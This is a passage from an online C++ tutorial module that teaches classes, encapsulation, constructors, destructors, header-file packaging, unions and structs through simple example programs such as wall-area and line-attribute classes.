6. int area(int rectangle_height, int rectangle_width);
7.
8. struct rectangle
9. {
10. int height; //public
11. int width; //public
12. };
13.
14. struct pole
15. {
16. int length; //public
17. int depth; //public
18. };
19.
20. //----------rectangle area-------------
21. int surface_area(int rectangle_height, int rectangle_width)
22. {
23. return (rectangle_height * rectangle_width);
24. }
25.
26. //-----------main program--------------
27. void main ( )
28. {
29. rectangle wall, square;
30. pole lamp_pole;
31.
32. wall.height = 12; //assigning data
33. wall.width = 10;
34. square.height = square.width = 8;
35.
36. lamp_pole.length = 50;
37. lamp_pole.depth = 6;
38.
39. cout<<"Area of wall = height x width, OK!"<< "\n";
40. cout<<"-------------------------------------"<< "\n";
41. cout<<"----> Area of the wall is "<<surface_area(wall.height,
42. wall.width)<< "\n\n";
43. cout<<"Area of square = height x width, OK!"<< "\n";
44. cout<<"-------------------------------------"<< "\n";
45. cout<<"----> Area of square is
46. "<<surface_area(square.height,square.width)<<"\n\n";
47. cout<<"Non related area?"<<"\n = height of square x width of the wall?"<<
48. "\n";
49. cout<<"-------------------------------------"<< "\n";
50. cout<<"----> Non related surface area is
51. "<<surface_area(square.height,wall.width)<<"\n\n";
52. cout<<"Wrong surface area = height of square"<<"\nx depth of lamp
53. pole?"<<"\n";
54. cout<<"-------------------------------------"<< "\n";
55. cout<<"---->Wrong surface area is
56. "<<surface_area(square.height,lamp_pole.depth)<<"\n";
57.
58. system("pause");
59. }

59 Lines:Output:

www.tenouk.com
- We have two structures declared, one being a rectangle and the other is a pole. The depth of the
lamp pole is the depth it is buried in the ground, the overall length of the pole is therefore the sum of
the height and depth.

- Figure 12.3 try to describe the data space after the program execution. It may be a bit confused at the
meaning of the result found in line 50 where we multiply the height of the square with width of
the wall, because the data can be access publicly.
- Another one, although it is legal, the result has no meaning because the product of the height of the
square and the depth of the lamp_pole has absolutely no meaning in any physical system we can
think up in reality because they don’t have relation and the result is useless.
- The error is obvious in a program as simple as this, but in a large program production it is very easy
for such problems to be inadvertently introduced into the code by a team of programmers and the errors
can be very difficult to find.
- If we have a program that defined all of the things we can do with a square’s data and another
program that defined everything we could do with lamp_pole’s data, and if the data could be kept
mutually exclusive, we could prevent these silly things from happening.
- If these entities must interact, they cannot be put into separate programs, but they can be put into
separate classes to achieve the desired goal. Compile and run the program.

12.5 Objects Data Protection – class Solution

- Examine the program named classobj.cpp carefully, as an example of object’s data protection in a
very simple program.

1. //Program classobj.cpp - using class instead of struct


2. #include <iostream.h>
3. #include <stdlib.h>
4.

www.tenouk.com
5. //---------a simple class declaration part-----------
6. class rectangle
7. {
8. //private by default, member variables
9. int height;
10. int width;
11. public:
12. //public, with two methods
13. int area(void);
14. void initialize(int, int);
15. };
16.
17. //-----------class implementation part--------------
18. int rectangle::area(void)
19. {
20. return (height * width);
21. }
22.
23. void rectangle::initialize(int initial_height, int initial_width)
24. {
25. height = initial_height;
26. width = initial_width;
27. }
28.
29. //normal structure - compare the usage with class
30. struct pole
31. {
32. int length; //public
33. int depth; //public
34. };
35.
36. //-------------main program---------------------------
37. void main ( )
38. {
39. rectangle wall, square;
40. pole lamp_pole;
41.
42. //wall.height = 12;
43. //wall.width = 10;
44. //square.height = square.width = 8;
45. //these 3 lines invalid now, private, access only through methods
46.
47. wall.initialize(12,10); //access data through method
48. square.initialize(8,8);
49. lamp_pole.length = 50; //normal struct data access
50. lamp_pole.depth = 6;
51. cout<<"Using class instead of struct\n";
52. cout<<"access through method area()\n";
53. cout<<"------------------------------\n";
54. cout<<"Area of the wall-->wall.area() = "<<wall.area()<< "\n\n";
55. cout<<"Area of the square-->square.area()= "<<square.area()<<"\n\n";
56. //cout<<"---->Non related surface area is
57. // "<<surface_area(square.height,wall.width)<<"\n\n";
58. //cout<<"---->Wrong area is
59. // "<surface_area(square.height,lamp_pole.depth)<<"\n";
60. //-----illegal directly access the private data
61.
62. system("pause");
63. }

63 Lines:Output:

- In this program, the rectangle is changed to a class with the same two variables which are now
private by default, and two methods which can manipulate the private data. One method is used to

www.tenouk.com
initialize the values of the objects instance and the other method returns the area of the object. The two
methods are defined in lines 17 through 27 in the manner describe earlier in this module.
- The pole is left as a structure to illustrate that the two can be used together and that C++ is truly an
extension of ANSI-C.
- In line 39, we define two objects, once again named wall and square, but this time we cannot
assign values directly to their individual components because they are private member variable of the
class. The declaration is shown below:

rectangle wall, square;

- Figure 12.4 is a graphical illustration of the two objects available for use within the calling program.
Lines 42 through 44 are commented out for that reason and the messages are sent to the objects in
lines 47 and 48 to tell them to initialize themselves to the values input as parameters.

- The lamp_pole is initialized in the same manner as in the previous program. Using the class in this
way prevents us from making the silly calculations we did in the last program, because we can only
calculate the area of an object by using the data stored within that object.
- The compiler is now being used to prevent the erroneous calculations, so lines 56 through 59 have
been commented out.
- Even though the square and the wall are both objects of class rectangle, their private data is
hidden from each other such that neither can purposefully or accidentally change the other’s data.
- This is the abstract data type, a model with a set of private variables for data storage and a set of
operations that can be performed on that stored data.
- The only operations that can be performed on the data are those defined by the methods, which
prevents many kinds of erroneous operations.
- Encapsulation and data hiding bind the data and methods, tightly together and limit the scope and
visibility of each.
- An object is separated from the rest of the code and carefully developed in complete isolation from it.
Only then, it is integrated into the rest of the code with a few of very simple interfaces.
- There are two aspects of this technique that really count when you develop software:

1. First, you can get all of the data you really need through the interface.
2. Secondly, you cannot get any protected data that you do not need.

- You are prevented from getting into the protected area and accidentally corrupting some data stored
within it. You also prevented from using the wrong data because the functions available demand a
serial or restricted access to the data.
- This is a very weak example because it is very easy for a knowledgeable programmer to break the
encapsulation, but we will avoid this in next examples.
- You can see that object oriented programming is allowing the programmer to partition his programs
into smaller portion with their own functionalities, hiding some information, accessing data in
controlled manner.

www.tenouk.com
- The drawback is this technique will cost you something in efficiency because every access to the
elements of the object will require time and inefficiency sending messages.
- But, a program made up of objects that closely match the application in real world are much easier to
understand and developed than a program that does not. In a real project however, it could be a great
savings if one person developed all of the details of the rectangle, programmed it, and made it
available to you to simplify the use.
- That is why a lot of classes have been developed, such as, Microsoft Visual C++ has MFC (Microsoft
Foundation Class). We will explore this process in next examples.

12.6 Constructors And Destructors - Initialization

- Examine program consdest.cpp carefully. It introduces constructors and destructors for


initializing and destroying the class member variables respectively. It is very important to do the
initialization mainly for pointer variables as you have learned in module 8.
- This program example is identical to the last one, except, a constructor and destructor have been added.

1. //Program consdest.cpp - using class instead of struct


2. //with constructor and destructor
3. #include <iostream.h>
4. #include <stdlib.h>
5.
6. //----------a simple class declaration part-----------
7. class rectangle
8. {
9. //private by default, member variables
10. int height;
11. int width;
12. //public
13. public:
14. rectangle(void); //-----constructor--------
15. int area(void);
16. void initialize(int, int);
17. ~rectangle(void); //destructor
18. };
19.
20. //--------------Implementation part------------
21. rectangle::rectangle(void)
22. //constructor implementation
23. {
24. height = 6;
25. width = 6;
26. }
27.
28. int rectangle::area(void)
29. {
30. return (height * width);
31. }
32.
33. void rectangle::initialize(int initial_height, int initial_width)
34. {
35. height = initial_height;
36. width = initial_width;
37. }
38.
39. //----destructor implementation-----
40. rectangle::~rectangle(void)
41. {
42. height = 0;
43. width = 0;
44. }
45.
46. //normal structure - compare with class usage
47. struct pole
48. {
49. int length;
50. int depth;
51. };
52.
53. //---------------main program--------------------------
54. void main ( )
55. {
56. rectangle wall, square;
57. pole lamp_pole;
58.
59.
60. cout<<"Using class instead of struct, using DEFAULT VALUE\n";

www.tenouk.com
61. cout<<"supplied by constructor, access through method area()\n";
62. cout<<"---------------------------------------------------\n\n";
63. cout<<"Area of the wall-->wall.area() = "<<wall.area()<< "\n\n";
64. cout<<"Area of the square-->square.area() = "<<square.area()<<"\n\n";
65. // wall.height = 12;
66. // wall.width = 10;
67. // square.height = square.width = 8;
68. //These 3 lines, invalid now, private access only through methods
69.
70. wall.initialize(12,10); //override the constructor values
71. square.initialize(8,8);
72. lamp_pole.length = 50;
73. lamp_pole.depth = 6;
74.
75. cout<<"Using class instead of struct, USING ASSIGNED VALUE\n";
76. cout<<"access through method area()\n";
77. cout<<"----------------------------------------------------\n";
78. cout<<"Area of the wall-->wall.area() = "<<wall.area()<<"\n\n";
79. cout<<"Area of the square-->square.area()= "<<square.area()<<"\n\n";
80. //cout<<"----> Non related surface area is
81. // "<<surface_area(square.height,wall.width)<<"\n\n";
82. //cout<<"---->Wrong area is
83. // "<surface_area(square.height,lamp_pole.depth)<<"\n";
84.
85. system("pause");
86. }

86 Lines:Output:

- The constructor always has the same name as the class itself and is declared in line 14:

rectangle(void) //--constructor declaration--


...

- The constructor is called automatically by the C++ system when the object is declared and prevents
the use of an uninitialized variable. The following is the code segment for constructor:
- When the object named wall is instantiated in line 56, the constructor is called automatically by the
system. The constructor sets the values of height and width each to 6 in lines 24 and 25, in the
object named wall.

rectangle::rectangle(void)
//constructor implementation
{
height = 6;
width = 6;
}

- This is printed out for reference in lines 63 and 64.

cout<<"Area of the wall-->wall.area() = "<<wall.area()<< "\n\n";


cout<<"Area of the square-->square.area() = "<<square.area()<<"\n\n";

www.tenouk.com
- Likewise, when the object square is defined in line 56, the values of the height and the width of
the square are each initialized to 6 when the constructor is called automatically.
- A constructor is defined as having the same name as the class itself. In this case both are named
rectangle. The constructor cannot have a return type associated with it because of the definition
of the C++. It actually has a predefined return type, a pointer to the object itself.
- Even though both objects are assigned values by the constructor, they are initialized in lines 70 and 71
to the new values as shown below and processing continues.

wall.initialize(12, 10); //override the constructor values


square.initialize(8, 8);

- Since we have a constructor that does the initialization, we should probably rename the method named
initialize() something else such as reinitialize().
- The destructor is very similar to the constructor except that it is called automatically when each of the
objects goes out of scope. You will recall that automatic variables have a limited lifetime because they
cease to exist when the enclosing block in which they were declared is exited.
- When an object is about to be automatically de-allocated, its destructor, if one exists, is called
automatically.
- A destructor is characterized as having the same name as the class but with a tilde (~) prepend to the
class name. A destructor also has no return type.
- A destructor is declared in line 17:

~rectangle(void); //--destructor declaration--


...

- And defined in lines 40 through 44.

//----destructor implementation-----
rectangle::~rectangle(void)
{
height = 0;
width = 0;
}

- In this case, the destructor only assigns zeros to the variables prior to their being de allocated.
- The destructor is only included for illustration of how it is used. If some blocks of memory were
dynamically allocated within an object, the destructor should contain code to de allocate them prior to
losing the pointers to them. This would return their memory to the free store for later use.
- Most compilers implement the calling destructor by default.

12.7 Object Packaging

- Examine the program named wall1.cpp carefully. This is an example of how do not to package an
object for universal use.
- This packaging is actually fine not just for a very small program, but is meant to illustrate to you how to
split your program up into smaller, more manageable programs when you are developing a large
program as individual or a team of programmers.
- This program is very similar to the last one, with the pole structure dropped and the class named
wall. The class is declared in lines 6 through 20:

//-------a simple class, declaration part--------


class wall
{
int length;
int width;
//private by default
public:
wall(void);
//constructor declaration
void set(int new_length, int new_width);
//method
int get_area(void){return (length * width);}
//method
~wall(void);
//destructor declaration
};

www.tenouk.com
- The implementation of the class is given in lines 23 through 40 as shown in the following code
segment:

//----------implementation part-------------
wall::wall(void)
{ length = 8;
width = 8;
}
//This method will set a wall size to the two inputs
//parameters by default or initial value,

void wall::set(int new_length, int new_width)


{
length = new_length;
width = new_width;
}

wall::~wall(void)
//destructor implementation
{ length = 0;
width = 0;
}

- Study this program, compile and run.

1. //Program wall1.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //-------a simple class, declaration part--------
6. class wall
7. {
8. int length;
9. int width;
10. //private by default
11. public:
12. wall(void);
13. //constructor declaration
14. void set(int new_length, int new_width);
15. //method
16. int get_area(void){return (length * width);}
17. //destructor method
18. ~wall(void);
19. //destructor declaration
20. };
21.
22. //----------implementation part-------------
23. wall::wall(void)
24. { length = 8;
25. width = 8;
26. }
27. //This method will set a wall size to the two input
28. //parameters by default or initial value,
29.
30. void wall::set(int new_length, int new_width)
31. {
32. length = new_length;
33. width = new_width;
34. }
35.
36. wall::~wall(void)
37. //destructor implementation
38. { length = 0;
39. width = 0;
40. }
41.
42. //----------------main program---------------------
43. void main()
44. {
45. wall small, medium, big;
46. //three objects instantiated of type class wall
47.
48. small.set(5, 7);
49. //new length and width for small wall
50. big.set(15, 20);
51. //new length and width for big wall
52. //the medium wall uses the default
53. //values supplied by constructor (8,8)

www.tenouk.com
54.
55. cout<<"Using new value-->small.set(5, 7)\n";
56. cout<<" Area of the small wall is = "<<small.get_area()<<"\n\n";
57. cout<<"Using default/initial value-->medium.set(8, 8)\n";
58. cout<<" Area of the medium wall is = "<<medium.get_area()<<"\n\n";
59. cout<<"Using new value-->big.set(15, 20)\n";
60. cout<<" Area of the big wall is = "<<big.get_area()<<"\n";
61.
62. system("pause");
63. }

63 Lines:Output:

12.8 Inline Implementation

- The method in line 16 as shown below contains the implementation for the method as a part of the
declaration because it is very simple function.

int get_area(void){return (length * width);}

- When the implementation is included in the declaration, it will be assembled inline whenever this
function is called leading to much faster code execution.
- This is because there is no function call overhead when making a call to the method. In some cases this
will lead to code that is both smaller and faster.
- Inline code implementation in C++ accomplishes the same efficiency that the macro accomplishes in
C, and it is better.

12.9 The Class Header File – User Defined HeaderFfile

- Examine the wall.h program carefully. You will see that it is only the class definition. No details are
given of how the various methods are implemented except of course for the inline method named
get_area().
- This gives the complete definition of how to use the class with no implementation details. You will
notice that it contains lines 6 through 20 of the previous program wall1.cpp.
- This is called header file and cannot be compiled or run. Create this file, under your main() program
folder. You have learnt this step regarding the user defined function in module 4.

1. //Program wall.h, the header file


2.
3. //--------class declaration part---------------
4. class wall
5. {
6. int length;
7. int width;
8. public:
9. wall(void);
10. //constructor method
11. void set(int new_length, int new_width);
12. //method
13. int get_area(void) {return (length * width);}
14. //destructor method
15. ~wall(void);
16. //destructor
17. };
18.
19. //this header file cannot be compiled or run

www.tenouk.com
19 Lines

12.9.1 The Class Implementation Program

- Examine the program wall.cpp carefully. This is the implementation of the methods declared in the
class header file (wall.h ). Notice that the class header file is included into this file in line 3 which
contains the prototype for the methods and the definitions of the variables to be manipulated.

1. //Program wall.cpp, this is implementation file


2.
3. #include "wall.h"
4.
5. wall::wall(void)
6. //constructor implementation
7. {
8. length = 8;
9. width = 8;
10. }
11.
12. //This method implementation will set a
13. //wall size to the two input parameters
14.
15. void wall::set(int new_length, int new_width)
16. {
17. length = new_length;
18. width = new_width;
19. }
20.
21. wall::~wall(void)
22. //destructor implementation
23. {
24. length = 0;
25. width = 0;
26. }
27.
28. //This implementation program should be compiled
29. //without error, generating object file but can't be
30. //run because there is no main() entry point.

30 Lines

- The code from lines 23 through 41 of wall1.cpp is contained in this program which is the
implementation of the methods declared in the class named wall.
- This file should be compiled but it cannot be run because there is no main entry point which is
required for all ANSI-C or C++ programs. Make sure there is no error and the wall.h header file
also must be included in your project.
- When it is compiled, the object code will be stored in the current directory and available for use by
other programs. It should be noted here that the result of the compilation is usually referred to as an
object as used in object oriented programming.
- The separation of the definition and the implementation is a major step forward in software
engineering. The definition file or interface is all the user needs in order to use this class effectively in
a program.
- User needs no knowledge of the actual implementation of the methods. If he had the implementation
available, he may study the code and modify it to make the overall program slightly more efficient, but
this would lead to non-portable software and possible bugs’ later if the implementer changed the
implementation without changing the interface.
- The purpose of object oriented programming is to hide the implementation in such a way that the
implementation can not affect anything outside of its own small and well defined boundary or
interface. You should compile this implementation program without error and we will use the result
with the next program example. The compilation generate object file. No need to run.

12.9.2 Using The wall Object, main() Program

- Examine the wall2.cpp program and you will find that the class we defined previously is used
within this file. In fact, these last three programs (and three files!) taken together are identical to the
program named wall1.cpp studied earlier.

1. //Program wall2.cpp here are the main program,


2. //the actual program that programmer create
3.

www.tenouk.com
4. #include <iostream.h>
5. #include <stdlib.h>
6. #include "wall.h"
7. //user defined header file containing
8. //class declaration
9.
10. main()
11. {
12. wall small, medium, large;
13. //three objects instantiated of class wall
14.
15. small.set(5, 7);
16. large.set(15, 20);
17. //the medium wall uses the values
18. //supplied by the constructor
19.
20. cout<<"In this part, we have divided our program into\n";
21. cout<<"three parts.\n"<<"1. Declaration part, wall.h\n";
22. cout<<"2. Implementation part, wall.cpp\n"<<"3. Main program, wall2.cpp\n";
23. cout<<"The output just from the 3rd part i.e. the main \n";
24. cout<<"program is same as the previous program, as follows\n";
25. cout<<"----------------------------------------------------\n\n";
26. cout<<"Area of the small wall surface is = "<<small.get_area()<<"\n";
27. cout<<"Area of the medium wall surface is = "<<medium.get_area()<<"\n";
28. cout<<"area of the big wall surface is = "<<large.get_area()<<"\n";
29. system("pause");
30. }

30 Lines:Output:

- The wall.h file is included here, in line 6, since the definition of the wall class is needed to declare
three objects and use their methods. There is big difference in wall1.cpp and wall2.cpp as we will
see shortly.
- We are not merely calling functions and changing the terminology a little to say we are sending
messages. There is an inherent difference in the two operations.
- Since the data for each object is tightly bound up within the object, there is no way to get to the data
except through the methods and we send a message to the object telling it to perform some operation
based on its internally stored data.
- However, whenever we call a function, we take along the data for it to work with, as parameters since
it doesn’t contain its own data.
- Compile and run this program, but when you come to the link step, you will be required to link this
program along with the result of the compilation when you compiled the class named wall
(wall.cpp). The object file (compiled form) and the header file must be linked together.
- To make sure there is no error, follow these steps (Borland C++, Microsoft Visual C++ or other visual
IDE):

1. Create a project.
2. Create header file wall.h and save it.
3. Create wall.cpp file, compile it without error, generating object file.
4. Create the main program wall2.cpp, compile and run this file.
5. All three files must be in the same project.
6. Regarding the use of the "box.h" or <box.h>, please refer to module 4.

www.tenouk.com
- For Borland C++, the details steps are: First, select the project folder, right click and select Add node.
- When the Add to the Project List Dialog box appears, select the desired file(s) and click Open
button. Finally compile the main() program.

12.10 Data Hiding

- The three programs examples we have just studied illustrate a concept of data hiding.
- Since the only information the user of the class really need is the class header, the details of the
implementation can be kept hidden from him.
- Since he doesn’t know exactly what the implementer did, he must follow only the definition given in
the header file. As mentioned earlier, accidental corruption of data is also prevented.
- Another reason for hiding the implementation is economic. The company that supplied you with your
C++ compiler gave you many library functions but did not supply the source code of the library
functions, only the interface to each function.
- You know how to use the functions but you do not have the details of implementation, nor do you need
them. Likewise, a class library vendors can develop, which supplies users with libraries of high quality,
completely developed, and tested classes, for a licensing fee.
- Since the user only needs the interface defined, he can be supplied with the interface and the object
(compiled) code for the class and can use it in any way he desired. The vendors’ source code is
protected from accidental or intentional compromise and he can maintain complete control over it.
- But keep in mind that may be this is not the case for the open source community :o).

12.11 Abstract Data Type

- An abstract data type is a group of data, each of which can store a range of data values and a set of
methods or functions that operate on that data. Since the data are protected from any outside
influence, it is protected and said to be encapsulated.
- Also, since the data is somehow related, it is a very coherent group of data that may be highly
interactive with each other, but with little interaction outside the scope of its class.
- The methods, on the other hand, are coupled to the outside world through the interface, but there are a
limited number of contacts with or a weak coupling with the outside.

www.tenouk.com
- Because of the tight coherency and the loose coupling, ease of maintenance of the software should be
greatly enhanced.
- The variables could have been hidden completely out of sight in another file, but because the designers
of C++ wished to make the execution of the completed application as efficient as possible, the variables
were left in the class definition where they can be seen but not used.

12.12 The union in C++

- In C++ union can contain access specifiers (public, protected, private), member data, and
member functions, including constructors and destructors.
- It cannot contain virtual functions or static data members. It cannot be used as a base class, nor can it
have base classes. Default access of members in a union is public. In C++, the union keyword is
unnecessary.
- Same as in C, a union type variable can hold one value of any type declared in the union by using the
member-selection operator (.) to access a member of a union.
- You can declare and initialize a union in the same statement by using enclosed curly braces. The
expression is evaluated and assigned to the first field of the union.
- Program example:

#include <iostream.h>
#include <stdlib.h>

union Num
{
int ValueI;
float ValueF;
double ValueD;
char ValueC;
};

void main()
{
//Optional union keyword
//ValueI = 100
Num TestVal = {100};

cout<<"\nInteger = "<<TestVal.ValueI<<endl;
TestVal.ValueF = 2.123L;
cout<<"Float = "<<TestVal.ValueF<<endl;
cout<<"Uninitialzed double = "<<TestVal.ValueD<<endl;
cout<<"Some rubbish???"<<endl;
TestVal.ValueC = 'U';
cout<<"Character = "<<TestVal.ValueC<<endl;
system("pause");
}

Output:

12.13 The struct in C++

- The struct is still useable in C++ and operates just like it does in ANSI-C with one addition. You
can include methods in a structure that operate on data in the same manner as in a class, but methods
and data are automatically defaulted to be public at the beginning of a structure.
- Of course you can make any of the data or methods private section within the structure. The structure
should be used only for constructs that are truly structures. If you are building even the simplest
objects, you are advised to use classes to define them.
- Program example as used in previous union example.

www.tenouk.com
#include <iostream.h>
#include <stdlib.h>

struct Num
{
int ValueI;
float ValueF;
double ValueD;
char ValueC;
};

void main()
{
struct Num TestVal = {100};

cout<<"\nInteger = "<<TestVal.ValueI<<endl;
TestVal.ValueF = 2.123L;
cout<<"Float = "<<TestVal.ValueF<<endl;
cout<<"Uninitialzed double = "<<TestVal.ValueD<<endl;
cout<<"Better than union"<<endl;
TestVal.ValueC = 'U';
cout<<"Character = "<<TestVal.ValueC<<endl;
system("pause");
}

Output:

Program Examples and Experiments

Example#1

- The following example just to show you the simple program development process using class. We are
very familiar with line as a basic object used in drawing. So we would like to create line object.
- Think simple; first of all just create the program skeleton as shown below. Compile and run, make sure
there is no error.

//Creating simple class, STEP #1


#include <iostream.h>
#include <stdlib.h>

//--------class, declaration part------


class line
{

public:
line(void);
~line(void);
};

//------class implementation part-------


line::line(void)
{

line::~line(void)
{

//---------main program-------------
int main()
{
line LineOne;

www.tenouk.com
cout<<"Just program skeleton\n";
system("pause");
return 0;
}

Output:

- Next step is to add simple functionalities. We add one line attribute, line’s color and line pattern type,
with simple implementation returning the color value and user selected pattern type respectively.
- Compile and run this program without error.

//Creating simple class, STEP #2


#include <iostream.h>
#include <stdlib.h>

//--------class, declaration part------


class line
{
char* color;
int pattern;
public:
line(void);
char* LineColor(char*){ return color = "GREEN";};
int LinePattern(int pattern){return pattern;};
~line(void);
};

//----class implementation part-----


line::line(void)
{
//constructor’s value…
pattern = 12;
}

line::~line(void)
{
color = NULL;
pattern = 0;
}

//---------------main program----------------------
void main()
{
line LineOne;
int x = 10;

cout<<"Simple Line attribute class\n";


cout<<"Using some user supplied value\n";
cout<<"------------------------------"<<"\n";
cout<<"Line's Color ----> "<<LineOne.LineColor("")<<"\n";
cout<<"Line's pattern type ----> "<<LineOne.LinePattern(x)<<"\n";
system("pause");
}

Output:

www.tenouk.com
- Let do some tweaking to this very simple class, notice the difference output and the program execution
flow. Firstly, Change the following red line of code,

int LinePattern(int pattern){return pattern;};

- To the following code, recompile and rerun the program, with no argument supplied, constructor value
(12) will be used.

int LinePattern(int){return pattern;};

- The output:

- Next, change again the same line of code:

int LinePattern(int pattern){return pattern;};

- To the following code:

int LinePattern(int){return pattern = 13;};

- And delete or comment out the following line of code, recompile and rerun the program, so there is no
default constructor value.

pattern = 12;

- The output is:

- Finally we add other line attributes to complete our line object using class.

//Creating simple class, STEP #3, complete


#include <iostream.h>
#include <stdlib.h>

//--------class, declaration part------


class line
{
char* color;
float weight;
float length;
char * arrow;

public:
line(void);
char* LineColor(char* color){return color;};
float LineWeight(float weight){return weight;};
float LineLength(float length){return length;};
char *LineArrow(char* arrow){return arrow = "YES";};
~line(void);
};

www.tenouk.com
//------implementation part-------
line::line(void)
{
//constructors or initial values…
weight = 0.25;
length = 10;
}

line::~line(void)
{
color = NULL;
weight = 0;
length = 0;
arrow = NULL;
}

//---------------main program-----------------
void main()
{
line LineOne;

float x = 1.25, y = 2.25;


char newcolor[10] = "BLUE", *colorptr;

cout<<"Line attributes, very simple\n";


cout<<" class example\n";
cout<<"----------------------------"<<"\n";

colorptr = newcolor;
//just for testing the new attribute values...
cout<<"\nAs normal variables....."<<endl;
cout<<"Test the new line weight = "<<x<<endl;
cout<<"Test the new line length = "<<y<<endl;
cout<<"Test the new line color is = "<<colorptr<<endl;

cout<<"\nUsing class......."<<endl;
cout<<"New line's color ----> "<<LineOne.LineColor(colorptr)<<"\n";
cout<<"New line's weight ----> "<<LineOne.LineWeight(x)<<" unit"<<"\n";
cout<<"New line's length ----> "<<LineOne.LineLength(y)<<" unit""\n";

cout<<"Line's arrow ----> "<<LineOne.LineArrow(" ")<<"\n\n";


system("pause");
}

Output:

- Let do some experiment against the constructor and destructor. In this program example we declare a
member variable TestVar and a member function DisplayValue() as a tester.
- Compile and execute this program.

//testing the constructor and destructor


#include <iostream.h>
#include <stdlib.h>

//----class declaration part--------


class TestConsDest

www.tenouk.com
{
//member variable...
public:
int TestVar;

//member functions, constructor and destructor...


public:
TestConsDest();
int DisplayValue();
~TestConsDest();
};

//----------class implementation part------------


//constructor...
TestConsDest::TestConsDest()
{
//test how the constructor was invoked...
//static-retain the previous value…
static int x=1;
cout<<"In Constructor, pass #"<<x<<endl;
x++;
}

//simple function returning a value...


int TestConsDest::DisplayValue()
{
return TestVar = 100;
}

//destructor...
TestConsDest::~TestConsDest()
{
//test how destructor was invoked...
static int y=1;
cout<<"In Destructor, pass #"<<y<<endl;
y++;
//explicitly...
TestVar = 0;
}

//----------------main program------------------------
int main()
{
//instantiate two objects...
//constructor should be invoked...
//with proper memory allocation...
TestConsDest Obj1, Obj2;

cout<<"Reconfirm the allocation for Obj2 = "<<&Obj2<<endl;


cout<<"Default constructor value assigned = "<<Obj1.DisplayValue()<<endl;
cout<<"In main(), testing..."<<endl;
cout<<"What about Obj1 allocation? = "<<&Obj1<<endl;
cout<<"Default constructor value assigned = "<<Obj1.DisplayValue()<<endl;
system("pause");
return 0;
}

Output:

- Notice that the constructor has been invoked properly for the objects Obj1 and Obj2 memory
allocation. It has been reconfirmed by checking the memory address of the objects.

www.tenouk.com
- Unfortunately from the output, there is no cleanup work done. If the destructor called automatically
when the program execution exit the closing brace of the main() program, it is OK. If it is not, then,
there should be memory leak somewhere :o).
- Fortunately, when this program example compiled and run using Microsoft Visual C++ 6.0®, the
destructor properly called for cleanup. The output is shown below:

- It seems that the destructor called when the execution exit the closing brace because the second time
sending message to the DisplayValue(), the value of TestVar = 100 still been displayed
although we have set the value to 0 in the destructor.

Final remarks think simple!!!

//class skeleton program


//as summary...
#include <iostream.h>
#include <stdlib.h>

//----The base class declaration---


class BaseClass
{
//---member variables declaration---
//declare all your variables here
//with optional access restrictions
public:
int p;

//this keyword will be explained later...


protected:
float q;

private:
char r;

//---member functions or methods---


//define your functions here
//also with optional access restrictions
public:
//constructor
BaseClass();
//destructor
~BaseClass();

private:
int Funct1();

protected:
void Funct2();
};

//---class implementation part------


//define your functions or method here
BaseClass::BaseClass()
{ }

int BaseClass::Funct1()
{return 0;}

//constructor implementation
void BaseClass::Funct2()
{}

www.tenouk.com
//destructor implementation
BaseClass::~BaseClass()
{}

//the main program


//start instantiate objects here...
int main(void)
{
cout<<"------class test message----"<<endl;
cout<<"This just a class skeleton..."<<endl;
cout<<"It just simple, think simple!"<<endl;

system("pause");
return 0;
}

Output:

- Program example compiled using VC++/VC++ .Net.

//Program class.cpp using class instead of struct


#include <iostream>
using namespace std;

//--------Class declaration part------------


class item
{
//private by default, it is public in struct
int keep_data;
//public part
public:
void set(int enter_value);
int get_value(void);
};

//--------Class implementation part---------


void item::set(int enter_value)
{
keep_data = enter_value;
}

int item::get_value(void)
{
return keep_data;
}

//-------main program------------
void main()
{
//three objects instantiated
item John_cat, Joe_cat, Big_cat;
//normal variable
int garfield;

//assigning data
John_cat.set(111);
Joe_cat.set(222);
Big_cat.set(333);
garfield = 444;
//John_cat.keep_data = 100;
//Joe_cat.keep_data = 110;
//These are illegal because keep_data now, is private by default

cout<<"Accessing data using class\n";


cout<<"==========================\n";
cout<<"Data value for John_cat is "<<John_cat.get_value()<<"\n";
cout<<"Data value for Joe_cat is "<<Joe_cat.get_value()<<"\n";
cout<<"Data value for Big_cat is "<<Big_cat.get_value()<<"\n";

www.tenouk.com
cout<<"\nAccessing data normally\n";
cout<<"=======================\n";
cout<<"Data value for garfield is "<<garfield<<"\n";
}

Output:

- A program example compiled using g++.

/////////-simpleclass.cpp-////////
///////FEDORA 3, g++ x.x.x////////
/////Creating a simple class/////
#include <iostream>
using namespace std;

//--------class, declaration part------


class line
{
char* color;
float weight;
float length;
char * arrow;

public:
line(void);
char* LineColor(char* color){return color;};
float LineWeight(float weight){return weight;};
float LineLength(float length){return length;};
char *LineArrow(char* arrow){return arrow = "YES";};
~line(void);
};

//------implementation part-------
line::line(void)
{
//constructors or initial values.
weight = 0.25;
length = 10;
}

line::~line(void)
{
color = NULL;
weight = 0;
length = 0;
arrow = NULL;
}

//---------------main program-----------------
int main()
{
line LineOne;

float x = 1.25, y = 2.25;


char newcolor[10] = "BLUE", *colorptr;

cout<<"Line attributes, very simple\n";


cout<<" class example\n";
cout<<"----------------------------"<<"\n";

colorptr = newcolor;
//just for testing the new attribute values...
cout<<"\nAs normal variables....."<<endl;

www.tenouk.com
cout<<"Test the new line weight = "<<x<<endl;
cout<<"Test the new line length = "<<y<<endl;
cout<<"Test the new line color is = "<<colorptr<<endl;

cout<<"\nUsing class......."<<endl;
cout<<"New line's color ----> "<<LineOne.LineColor(colorptr)<<"\n";
cout<<"New line's weight ----> "<<LineOne.LineWeight(x)<<" unit"<<"\n";
cout<<"New line's length ----> "<<LineOne.LineLength(y)<<" unit""\n";
cout<<"Line's arrow ----> "<<LineOne.LineArrow(" ")<<"\n\n";
return 0;
}

[bodo@bakawali ~]$ g++ simpleclass.cpp -o simpleclass


[bodo@bakawali ~]$ ./simpleclass

Line attributes, very simple


class example
----------------------------

As normal variables.....
Test the new line weight = 1.25
Test the new line length = 2.25
Test the new line color is = BLUE

Using class.......
New line's color ----> BLUE
New line's weight ----> 1.25 unit
New line's length ----> 2.25 unit
Line's arrow ----> YES

-------------------------------------------------------o0o-------------------------------------------------------
---www.tenouk.com---

Further reading and digging:

1. Check the best selling C/C++ books at Amazon.com.


2. C++ standards reference: ISO/IEC 14882:1998 on the programming language C++.
3. What C++ has done to this world? C++ Applications - Bjarne Stroustrup site of C++. But, read HERE for
some interesting Bjarne's interview :o).

www.tenouk.com
MODULE 13
CLASS - ENCAPSULATION II

My Training Period: hours

Abilities

Able to understand and use:

▪ Class and arrays.


